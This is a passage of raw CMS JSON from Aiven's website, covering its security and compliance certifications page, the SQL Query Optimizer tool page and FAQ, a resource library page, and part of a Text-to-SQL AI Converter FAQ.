"},{"_key":"f7ff92280549","_type":"span","marks":["85e7dabcc15a"],"text":"FI240523-151"}],"markDefs":[{"_key":"85e7dabcc15a","_type":"link","href":"https://cdn.sanity.io/files/sczeoy4w/production/b72883d93b54429949342b2045a9b17e8e8547ef.pdf"}],"style":"normal"},{"_key":"f9dfaacbc393","_type":"block","children":[{"_key":"f648097110040","_type":"span","marks":[],"text":"Published by the International Organization for Standardization and the International Electrotechnical Commission, ISO/IEC 27001 is the standard for Information Security Management Systems (ISMS)."}],"markDefs":[],"style":"normal"}],"tagline":"Compliant since: 2018","title":"ISO/IEC 27001:2013","variant":"icon-card"},{"_key":"fbcdc4b8b50cb2609f5a89504766c10d","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-588b9f6424e4a71dd0a12988c8ec010b4e30b8b6-40x40-svg","_type":"reference"}},"subtitle":[{"_key":"e800283d54eb","_type":"block","children":[{"_key":"be9d3a4685ff0","_type":"span","marks":[],"text":"Certificate no. "},{"_key":"f0a61b411fb8","_type":"span","marks":["88d2f9498ee9"],"text":"FI240523-151"}],"markDefs":[{"_key":"88d2f9498ee9","_type":"link","href":"https://cdn.sanity.io/files/sczeoy4w/production/b72883d93b54429949342b2045a9b17e8e8547ef.pdf"}],"style":"normal"},{"_key":"76c9c86f5cb1","_type":"block","children":[{"_key":"666fe2ce84930","_type":"span","marks":[],"text":"As part of the ISO/IEC 27000 family, ISO/IEC 27017 is the security standard for cloud services."}],"markDefs":[],"style":"normal"}],"tagline":"Compliant since: 2022","title":"ISO/IEC 27017:2015","variant":"icon-card"},{"_key":"3284f2b5786882b845996e9ff12e278b","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-9f5af1d1dc39e25b309854b9e942deb80c31c0ab-40x40-svg","_type":"reference"}},"subtitle":[{"_key":"f8fc86a374c9","_type":"block","children":[{"_key":"324ca393388c","_type":"span","marks":[],"text":"Certificate no. "},{"_key":"a1d523ec82dd","_type":"span","marks":["0ac2707fd11d"],"text":"FI240523-151"},{"_key":"5294d9c3a48c","_type":"span","marks":[],"text":"\n"}],"markDefs":[{"_key":"0ac2707fd11d","_type":"link","href":"https://cdn.sanity.io/files/sczeoy4w/production/b72883d93b54429949342b2045a9b17e8e8547ef.pdf"}],"style":"normal"},{"_key":"ede2432cdcc7","_type":"block","children":[{"_key":"07c143a15ecf","_type":"span","marks":[],"text":"ISO/IEC 27018 is the standard for protection of personally identifiable information (PII) in the public clouds."}],"markDefs":[],"style":"normal"}],"tagline":"Compliant since: 2022","title":"ISO/IEC 27018:2019","variant":"icon-card"},{"_key":"a88ec3e83f491690155314e75f7bd251","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-6e11ad8a804ce3c7931653c30af256ccdd1647b3-40x40-svg","_type":"reference"}},"subtitle":[{"_key":"08c8f54bb76b","_type":"block","children":[{"_key":"f05a75b2b01a","_type":"span","marks":[],"text":"Certificate no. "},{"_key":"e637c1003519","_type":"span","marks":["2c956958bc7b"],"text":"FI240523-152"}],"markDefs":[{"_key":"2c956958bc7b","_type":"link","href":"https://cdn.sanity.io/files/sczeoy4w/production/1edb8c0dfa08e8f7f4712a8198a3bff4b71e9501.pdf"}],"style":"normal"},{"_key":"c46576535cc5","_type":"block","children":[{"_key":"2390e6ebab8b","_type":"span","marks":[],"text":"ISO/IEC 27701 is the standard for Privacy Information Management Systems (PIMS)."}],"markDefs":[],"style":"normal"}],"tagline":"Compliant since: 2022","title":"ISO/IEC 27701:2019","variant":"icon-card"},{"_key":"76a032eec1f4d75eb1c56f51a8d9f566","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-83778ee98c9e049769d003e7a753efa4b63a276b-40x40-svg","_type":"reference"}},"subtitle":[{"_key":"655f7293e3b2","_type":"block","children":[{"_key":"fb6d238c8df80","_type":"span","marks":[],"text":"The ISAE 3000 Type 2 report provides information and assurance on the security and reliability of Aiven's services. The document is aligned with AICPA SOC2 Trust Services Criteria. Download the "},{"_key":"ac5057cd0d49","_type":"span","marks":["febdae94245d"],"text":"summary report"},{"_key":"5f9873c25ccf","_type":"span","marks":[],"text":" or "},{"_key":"051e72608828","_type":"span","marks":["00010a3cef54"],"text":"full report"},{"_key":"18d5d9211e1c","_type":"span","marks":[],"text":" through our Whistic Profile (requires registration)."}],"markDefs":[{"_key":"febdae94245d","_type":"link","href":"https://cdn.sanity.io/files/sczeoy4w/production/53d3172630e7f9df98cfb6c2555dd25f6e04d251.pdf"},{"_key":"00010a3cef54","_type":"link","href":"https://console.whistic.com/v2/request-profile/10ad8a41-09ca-445f-af79-92106615da1d/d4f00742-87cb-4277-ad84-45132c6d5704"}],"style":"normal"}],"tagline":"Compliant since: 2019","title":"ISAE 3000 Type 2","variant":"icon-card"},{"_key":"f4d3c963d06705c8f32d8ae73aa71c51","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-755a96d4bd3934033e98ac391d913265d09537af-40x40-svg","_type":"reference"}},"subtitle":[{"_key":"e800283d54eb","_type":"block","children":[{"_key":"0fe1c19915b8","_type":"span","marks":[],"text":"Contact sales for more information on "},{"_key":"19e1c950782c","_type":"span","marks":["e0022546c270"],"text":"PCI-DSS"}],"markDefs":[{"_key":"e0022546c270","_type":"internalLink","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"}}],"style":"normal"},{"_key":"19b7817f4409","_type":"block","children":[{"_key":"9cc33ddb43e00","_type":"span","marks":[],"text":"Payment Card Industry Data Security Standard is a standard for secure handling of credit card information."}],"markDefs":[],"style":"normal"}],"tagline":"Compliant since: 2020","title":"PCI DSS","variant":"icon-card"},{"_key":"abaafecd1c750997e4e8d06ba7ee189d","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-a315c2be874b3ceebef8ad2dedd9e8ebf0735b66-40x40-svg","_type":"reference"}},"subtitle":[{"_key":"50ffad8c8d24","_type":"block","children":[{"_key":"e305d384852f0","_type":"span","marks":[],"text":"Contact sales for "},{"_key":"4364e636ee53","_type":"span","marks":["cb81128e4267"],"text":"HIPAA BAA"}],"markDefs":[{"_key":"cb81128e4267","_type":"internalLink","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"}}],"style":"normal"},{"_key":"96ec95085ad6","_type":"block","children":[{"_key":"0377be48f9a60","_type":"span","marks":[],"text":"Health Insurance Portability and Accountability Act regulates the protection of sensitive patient health information in the US."}],"markDefs":[],"style":"normal"}],"tagline":"Compliant since: 2018","title":"HIPAA","variant":"icon-card"},{"_key":"db8b59c936c3d5e8af8256cdfdb4548c","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-203403621ac80cf3125943af581ab051cfe3b2fc-40x40-svg","_type":"reference"}},"subtitle":[{"_key":"07604d0e4ce3","_type":"block","children":[{"_key":"1fed26e1233c","_type":"span","marks":[],"text":"Contact sales for "},{"_key":"102909a858e5","_type":"span","marks":["a9bba546dc18"],"text":"GDPR DPA"}],"markDefs":[{"_key":"a9bba546dc18","_type":"internalLink","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"}}],"style":"normal"},{"_key":"ca51fb5bd345","_type":"block","children":[{"_key":"d16a422b7288","_type":"span","marks":[],"text":"The General Data Protection Regulation regulates data protection and privacy of individuals in the EU and European Economic Area."}],"markDefs":[],"style":"normal"}],"tagline":"Compliant since: 2017","title":"GDPR","variant":"icon-card"},{"_key":"3a92f0491c4617a891003ec089d921b6","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-b12ca1db663967687d8646d71572901592e96182-40x40-svg","_type":"reference"}},"subtitle":[{"_key":"9e82b12e71a8","_type":"block","children":[{"_key":"b227d02a0e3e","_type":"span","marks":[],"text":"Contact sales for "},{"_key":"b6fd9daa583c","_type":"span","marks":["f7a60bdbb8bc"],"text":"CCPA DPA"}],"markDefs":[{"_key":"f7a60bdbb8bc","_type":"internalLink","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"}}],"style":"normal"},{"_key":"7b5adf5e13c2","_type":"block","children":[{"_key":"378b35dceff2","_type":"span","marks":[],"text":"The California Consumer Privacy Act regulates privacy of consumers in California."}],"markDefs":[],"style":"normal"}],"tagline":"Compliant since: 2020","title":"CCPA","variant":"icon-card"}],"itemsPerRow":3,"rounded":false,"title":"Compliance \u0026 Privacy"},{"_key":"7d718c678637","_type":"iconList","disabled":false,"fullWidth":false,"iconSize":24,"icons":[{"_key":"309e73ca1d86","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-f9acc5a5c5becd8847ca9aebb3a585b153afeb16-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"204681bb2277","_type":"block","children":[{"_key":"3960e1937cf20","_type":"span","marks":[],"text":"Some cloud vendors use multi-tenant virtual machines to reduce costs. Aiven delivers all Aiven software on dedicated virtual machines for the best security for every customer."}],"markDefs":[],"style":"normal"}],"title":"Dedicated virtual machines"},{"_key":"752d902944f9","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-9ab3575a6f790a3b87ddd3ef859c5b9082d4ae69-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"c7580b7e8469","_type":"block","children":[{"_key":"2990e98331180","_type":"span","marks":[],"text":"We enforce Transport Layer Security (TLS) encryption for connections used in transferring data and encrypt it when it is on the disk."}],"markDefs":[],"style":"normal"}],"title":"Encryption for Data in transit and at rest"},{"_key":"0d2f4dc3b8cc","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-90b07c584c9c583a41e621b708592da27bee8c04-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"8843c7a63b3c","_type":"block","children":[{"_key":"899a981021c90","_type":"span","marks":[],"text":"All Aiven nodes are behind a firewall. You can specify the IP addresses that your users are permitted to connect from."}],"markDefs":[],"style":"normal"},{"_key":"75e064a96264","_type":"block","children":[{"_key":"6aad7cbdbe250","_type":"span","marks":[],"text":"We offer BYOC (Bring your own cloud) in our cloud services."}],"markDefs":[],"style":"normal"}],"title":"Complete network security"},{"_key":"cff627d35c6d","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-092f95c7546f16488994272d57c0d36d60efb70b-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"34afff8a4e3d","_type":"block","children":[{"_key":"9fb84e7db56e0","_type":"span","marks":[],"text":"Aiven automatically installs all security updates to make sure that your software is kept current."}],"markDefs":[],"style":"normal"}],"title":"Automated security updates"},{"_key":"fabb1ba9c75c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2d7d01bb1a1d","_type":"block","children":[{"_key":"73ac2bdbc7e40","_type":"span","marks":[],"text":"Aiven does an annual externally conducted security evaluation for all our managed cloud services and runs a continuous public bug bounty program."}],"markDefs":[],"style":"normal"},{"_key":"e25389359459","_type":"block","children":[{"_key":"2b3081d966370","_type":"span","marks":[],"text":"Our Internal Security Operations team also conducts periodic security assessments."}],"markDefs":[],"style":"normal"}],"title":"Annual security testing"},{"_key":"06c095fa2e71","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-92956c84edec09fdc186e86269ac4b3fae4ef9bb-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"d653d74bd946","_type":"block","children":[{"_key":"13129c9436de0","_type":"span","marks":[],"text":"Get more details on security topics such as access control, encryption, network security, and others by reading "},{"_key":"13129c9436de1","_type":"span","marks":["59bf817c2f78"],"text":"our cloud security overview."}],"markDefs":[{"_key":"59bf817c2f78","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/cloud-security"}],"style":"normal"}],"title":"Need more details?"}],"id":"security","rounded":false,"title":"Security is everything. We know that.","variant":"icon-left"},{"_key":"504146128a02","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"},"title":"Contact us"},"rounded":false,"subtitle":[{"_key":"f5de6802881b","_type":"block","children":[{"_key":"b1081b5cd40f0","_type":"span","marks":[],"text":"Leave us a message and we will get back to you."}],"markDefs":[],"style":"normal"}],"title":"Have a question about compliance, privacy, or security?","variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"Aiven provides fully managed security for all our services so that our customers can keep their data secure and stay compliant.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-c6389917b03366bbca71c7a158c76e40b68ec762-1200x630-jpg","_type":"reference"}},"metaTitle":"Security, Privacy \u0026 Compliance | Aiven"},"slug":{"_type":"slug","current":"/security-compliance"},"title":"Security, Privacy \u0026 Compliance"} {"__i18n_lang":"en","_createdAt":"2024-07-16T11:16:10Z","_id":"cb4fe454-eec8-4099-9f4d-3b0e29f872b1","_rev":"MBEnA07qAFzHqjXn6s7DPL","_type":"page","_updatedAt":"2024-11-29T14:01:25Z","content":[{"_key":"oblj7sr3obyy522qn32ar0dyrzhmjjon","_type":"cardList","addSpaceBottom":false,"addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","compact":false,"disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"yx2uotyi138xidsxbgbxtf0mpwxot1w0","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://plugins.jetbrains.com/plugin/17399-sql-optimizer-sql-formatter-sql-indexing-postgresql-and-mysql","title":"Get from JetBrains plug-in"},"image":{"_type":"mainImage","alt":"Copyright © 2024 JetBrains s.r.o. JetBrains and the JetBrains logo are trademarks of JetBrains s.r.o.","asset":{"_ref":"image-0771e57a89ed3fd31f33b80fb9336d5324a9dc72-298x64-svg","_type":"reference"}},"title":"JetBrains","variant":"icon-card"},{"_key":"4naxyzdz40d42bea9ah2hvbdrx8fn5mj","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://marketplace.visualstudio.com/items?itemName=Aiven.aiven-sql-optimizer-extension","title":"Get from Microsoft marketplace"},"image":{"_type":"mainImage","asset":{"_ref":"image-1a77aa13a9d57858dc26c0c784fa8debc20dd110-100x100-svg","_type":"reference"}},"title":"Visual Studio Code","variant":"icon-card"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","title":"Optimize and format SQL from your favorite IDE","topOverlap":false},{"_key":"0bd314cf0ed3","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","isFaqAccordion":true,"items":[{"_key":"97fb192b554c","_type":"accordionItem","panelText":[{"_key":"1ef6b47b9626","_type":"block","children":[{"_key":"b9fcae4b37cc0","_type":"span","marks":[],"text":"The Aiven SQL Query Optimizer is an online tool to speed up MySQL and PostgreSQL queries. By uploading the SQL and additional metadata you can receive indexing and SQL rewrites recommendations."}],"markDefs":[],"style":"normal"}],"title":"What is the Aiven SQL Query Optimizer?"},{"_key":"483f7d26316d","_type":"accordionItem","panelText":[{"_key":"0ec8c6e9e133","_type":"block","children":[{"_key":"82da23bde8d50","_type":"span","marks":[],"text":"No, you can only upload SQL statements and metadata manually. A fully integrated experience, including continuous performance insights is available via "},{"_key":"82da23bde8d51","_type":"span","marks":["strong","8c27d34aca4d"],"text":"Aiven AI Database Optimizer"},{"_key":"82da23bde8d52","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"8c27d34aca4d","_type":"link","href":"https://aiven.io/solutions/aiven-ai-database-optimizer"}],"style":"normal"}],"title":"Can I connect Aiven SQL Query Optimizer to my PostgreSQL or MySQL database?"},{"_key":"1bccde35f106","_type":"accordionItem","panelText":[{"_key":"ce2b99ffcd90","_type":"block","children":[{"_key":"2028135540ce0","_type":"span","marks":["strong"],"text":"Aiven SQL Query Optimizer "},{"_key":"2028135540ce1","_type":"span","marks":[],"text":"allows you to speed up a single query by manually uploading the SQL and additional metadata. To continuously monitor a database, get AI performance insights and solve slow queries with indexing and SQL rewrite suggestions check "},{"_key":"2028135540ce2","_type":"span","marks":["strong","d59c385c832c"],"text":"Aiven AI Database Optimizer"},{"_key":"73c26c971324","_type":"span","marks":["strong"],"text":"."}],"markDefs":[{"_key":"d59c385c832c","_type":"link","href":"https://aiven.io/solutions/aiven-ai-database-optimizer"}],"style":"normal"}],"title":"How can I receive the Aiven SQL Query Optimizer continuous insights based on my database workloads?"},{"_key":"e1e052d5994e","_type":"accordionItem","panelText":[{"_key":"80fc67703535","_type":"block","children":[{"_key":"05da6b0c864c0","_type":"span","marks":[],"text":"Aiven SQL Query Optimizer is "},{"_key":"515ec2161c2d","_type":"span","marks":["strong"],"text":"Free"},{"_key":"80bfab07f48b","_type":"span","marks":[],"text":" during the Early Availability period."}],"markDefs":[],"style":"normal"}],"title":"How much does Aiven SQL Query Optimizer cost?"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","title":"SQL Query Optimizer FAQ","topOverlap":false},{"_key":"3b957abb93f6","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","columnOne":[{"_key":"6bcf5d21288e","_type":"table","rows":[{"_key":"95a3dd3f-660e-4024-8064-11e390561a18","_type":"tableRow","cells":["Feature","Aiven SQL Query Optimizer","Aiven AI Database Optimizer"]},{"_key":"1e2d24f2-9c51-45ce-b358-fc982585b91e","_type":"tableRow","cells":["Index recommendation","✅","✅"]},{"_key":"c23c89f4-4ed6-438d-b425-5fbf46296352","_type":"tableRow","cells":["SQL query rewrite recommendation","✅","✅"]},{"_key":"cabee466-891f-42c2-919a-7480b43b1103","_type":"tableRow","cells":["Seamless database integration","","✅"]},{"_key":"ca863601-4cee-489c-8eea-effc3744ff78","_type":"tableRow","cells":["Continuous database monitoring","","✅"]},{"_key":"053a4935-25f1-4dab-8748-ebe02639dbd2","_type":"tableRow","cells":["Advanced performance Insights","","✅"]}]}],"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Start 30-day free trial"},"roundedCorners":"rounded","subtitle":[{"_key":"56263878b505","_type":"table","rows":[{"_key":"95a3dd3f-660e-4024-8064-11e390561a18","_type":"tableRow","cells":["Feature","Aiven SQL Query Optimizer"," Aiven AI Database Optimizer"]},{"_key":"1e2d24f2-9c51-45ce-b358-fc982585b91e","_type":"tableRow","cells":["Index recommendation","\u003cdiv style=\"text-align: center;\"\u003e✅\u003c/div\u003e","\u003cdiv style=\"text-align: center;\"\u003e✅\u003c/div\u003e"]},{"_key":"c23c89f4-4ed6-438d-b425-5fbf46296352","_type":"tableRow","cells":["SQL query rewrite recommendation","\u003cdiv style=\"text-align: center;\"\u003e✅\u003c/div\u003e","\u003cdiv style=\"text-align: center;\"\u003e✅\u003c/div\u003e"]},{"_key":"cabee466-891f-42c2-919a-7480b43b1103","_type":"tableRow","cells":["Seamless database integration","","\u003cdiv style=\"text-align: center;\"\u003e✅\u003c/div\u003e"]},{"_key":"ca863601-4cee-489c-8eea-effc3744ff78","_type":"tableRow","cells":["Continuous database monitoring","","\u003cdiv style=\"text-align: center;\"\u003e✅\u003c/div\u003e"]},{"_key":"053a4935-25f1-4dab-8748-ebe02639dbd2","_type":"tableRow","cells":["Advanced performance Insights","","\u003cdiv style=\"text-align: center;\"\u003e✅\u003c/div\u003e"]}]}],"tagline":"A fully integrated solution to monitor and optimize your SQL queries","title":"Speed up your database workloads with Aiven AI Database Optimizer","topOverlap":false,"variant":"centerColumn"}],"resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61d06542-93ca-4a1b-b925-69b3a7c6285d","_type":"reference"},"tags":[{"_key":"5a063f52a123","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"ed81c1700365","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"e394edc16ddf","_ref":"5c7142e2-1fa3-4ef2-8da3-c61d402cbb3e","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Optimize your PostgreSQL and MySQL queries, Submit your SQL and receive optimization suggestions for free, such as index recommendations and SQL rewrites.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-7e88920bf7f1bb168b1233b94eb5db016bcf50db-1200x630-jpg","_type":"reference"}},"metaTitle":"SQL Optimizer | PostgreSQL Optimizer | MySQL Optimizer"},"slug":{"_type":"slug","current":"/tools/sql-query-optimizer"},"tags":[{"_key":"1d90fcab00eb","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"ce6ed7768f2e","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"ff47aa7e6184","_ref":"5c7142e2-1fa3-4ef2-8da3-c61d402cbb3e","_type":"tag"}],"title":"SQL Query Optimization"} {"__i18n_lang":"en","_createdAt":"2023-02-03T13:07:26Z","_id":"07b6e990-ab38-4eaf-b4e6-d8af0126535c","_rev":"yryarpLFwOAxYGs4JJq2q5","_type":"page","_updatedAt":"2024-11-21T12:29:03Z","content":[{"_key":"45b9cac747b3","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","darkTheme":false,"description":[{"_key":"4765873ff2ff","_type":"block","children":[{"_key":"9a29b1f035b20","_type":"span","marks":[],"text":"Webinars, podcasts, e-books, white papers, research and more."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-99aab6868ad87de19ab117c1def6e3bd4968b062-1440x260-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Resource library","variant":"compact"},{"_key":"f0e4f311af9e","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"da3a2b76e0b920049ccb1dedf3409f98","_ref":"4f4c3dcb-bba3-4ab7-8044-0cda7ed83910","_type":"report"},{"_key":"f44a08a4f3b0","_ref":"bdd4d4c8-2722-4874-9b17-1b95438522f7","_type":"podcast"},{"_key":"a737ecc48517","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"cb4fe454-eec8-4099-9f4d-3b0e29f872b1","_type":"reference"},"title":"Try it now"},"image":{"_type":"mainImage","asset":{"_ref":"image-7e88920bf7f1bb168b1233b94eb5db016bcf50db-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"265a77d29a0a","_type":"block","children":[{"_key":"d9bfd72e91b60","_type":"span","marks":[],"text":"Optimize your PostgreSQL and MySQL queries with Smart AI-based algorithms for automatic re-writing and indexing."}],"markDefs":[],"style":"normal"}],"tagline":"Free tools","title":"SQL Optimizer","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-b"}],"seo":{"_type":"metaData","metaDescription":"Everything you always wanted to know about fully managed, open source data infrastructure. Webinars, live videos, ebooks, white papers, research and more from the Aiven archives.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-7989886b80bf2044d0695eaff5195c37f4c73735-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven's resource library – Your source for quick data insights "},"slug":{"_type":"slug","current":"/resources"},"title":"Resources"} {"__i18n_lang":"en","_createdAt":"2024-11-11T09:47:04Z","_id":"812f1589-a79c-4ea3-baa6-b6e32f1277c5","_rev":"j6oNGDBqZU6Yc4OSUGS8Fl","_type":"page","_updatedAt":"2024-11-12T13:51:34Z","content":[{"_key":"43ce0943bae1","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","isFaqAccordion":true,"items":[{"_key":"c5b2d6fe2741","_type":"accordionItem","panelText":[{"_key":"5970ad840cc3","_type":"block","children":[{"_key":"d57c0c1372ce0","_type":"span","marks":[],"text":"Aiven’s Text-to-SQL AI Converter is a powerful tool that allows users to easily convert plain text into SQL queries. With its intuitive interface, even those without prior knowledge of SQL can create queries with ease. The tool uses a variety of AI modules to generate queries based on the user's input. This means that the tool can understand and interpret natural language and convert it into structured SQL queries. Whether you're a beginner or a seasoned professional, Text-to-SQL AI Converter can save you time and effort in creating complex queries and improve your overall productivity."}],"markDefs":[],"style":"normal"}],"title":"What is Text-to-SQL AI Converter?"},{"_key":"e9baee9e4e67","_type":"accordionItem","panelText":[{"_key":"9c5ea7489037","_type":"block","children":[{"_key":"af9da60959270","_type":"span","marks":[],"text":"Yes! Text-to-SQL AI Converter is 100% free."}],"markDefs":[],"style":"normal"}],"title":"Is Text-toSQL AI Converter free?"},{"_key":"125c78c23f19","_type":"accordionItem","panelText":[{"_key":"f97e8e0369b8","_type":"block","children":[{"_key":"120d9a0bdafe0","_type":"span","marks":[],"text":"Yes, Text-to-SQL AI Converter is designed to be user-friendly and intuitive, even for users with no prior knowledge of SQL. The tool provides a simple interface for users to input their natural language query and generate the corresponding SQL query."}],"markDefs":[],"style":"normal"}],"title":"Can I user Text-to-SQL AI Converter even if I have no prior knowledge of SQL?"},{"_key":"9fd8dc51019d","_type":"accordionItem","panelText":[{"_key":"2e28ce9bb9a8","_type":"block","children":[{"_key":"ebf381bddbf00","_type":"span","marks":[],"text":"Yes, Text-to-SQL AI Converter supports multiple database types, including MySQL, PostgreSQL, Oracle, SQL Server, and Amazon Redshift. Users can select their desired database type and Text-to-SQL AI Converter will generate queries that are specific to that database. It is also possible to define the database with the provided text."}],"markDefs":[],"style":"normal"}],"title":"Does Text-to-SQL AI Converter support multiple database types?"},{"_key":"f9f1bdfb8c59","_type":"accordionItem","panelText":[{"_key":"817f7f86505e","_type":"block","children":[{"_key":"faa16290c71a0","_type":"span","marks":[],"text":"Yes, Text-to-SQL AI Converter provides the option to edit the generated SQL query in the browser before executing it. This allows users to fine-tune the query to their specific needs."}],"markDefs":[],"style":"normal"}],"title":"Can I edit the SQL queries generated by Text-to-SQL AI Converter?"},{"_key":"779dfe72ea69","_type":"accordionItem","panelText":[{"_key":"83460941930a","_type":"block","children":[{"_key":"566b3681a4380","_type":"span","marks":[],"text":"Yes, Text-to-SQL AI Converter takes the security and privacy of user data very seriously. We are not storing the text provided by you nor queries generated by the AI Converter."}],"markDefs":[],"style":"normal"}],"title":"Is my data secure when using Text-to-SQL AI Converter?"},{"_key":"13e584fc44a0","_type":"accordionItem","panelText":[{"_key":"683519609188","_type":"block","children":[{"_key":"06d034c0aad00","_type":"span","marks":[],"text":"Yes, Text-to-SQL AI Converter can handle complex queries involving multiple tables, joins, and subqueries. The tool is designed to generate efficient and optimized SQL queries based on the user's input."}],"markDefs":[],"style":"normal"}],"title":"Can Text-to-SQL AI Converter handle complex queries?"},{"_key":"81c1bac9ecb5","_type":"accordionItem","panelText":[{"_key":"7b6c0f0216c0","_type":"block","children":[{"_key":"41c40df97d270","_type":"span","marks":[],"text":"Text-to-SQL AI Converter is a tool that converts natural language text to SQL queries. It does not provide report generation or data visualization features. However, the SQL queries generated by Text-to-SQL AI Converter can be used with other tools to generate reports or visualize data."}],"markDefs":[],"style":"normal"}],"title":"Can I use Text-to-SQL AI Converter to generate reports or visualize data?"},{"_key":"7f941a728957","_type":"accordionItem","panelText":[{"_key":"fade7e5e7b5e","_type":"block","children":[{"_key":"90f48d5bcdd20","_type":"span","marks":[],"text":"Text-to-SQL AI Converter supports multiple languages, including English, French, German, Spanish, Italian, Portuguese and others. Users can use their desired language to generate the SQL."}],"markDefs":[],"style":"normal"}],"title":"Which languages does it support?"},{"_key":"34de5b374218","_type":"accordionItem","panelText":[{"_key":"776d700bc861","_type":"block","children":[{"_key":"dc90e891291b0","_type":"span","marks":[],"text":"Yes, you can provide your original query as an input and ask Text-to-SQL AI Converter to modify it. for example user this query \"SELECT * from Songs\" and modify it to get only the top 10 most listened songs."}],"markDefs":[],"style":"normal"}],"title":"Can I use Text-to-SQL AI Converter to modify existing SQL queries?"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Text-to-SQL 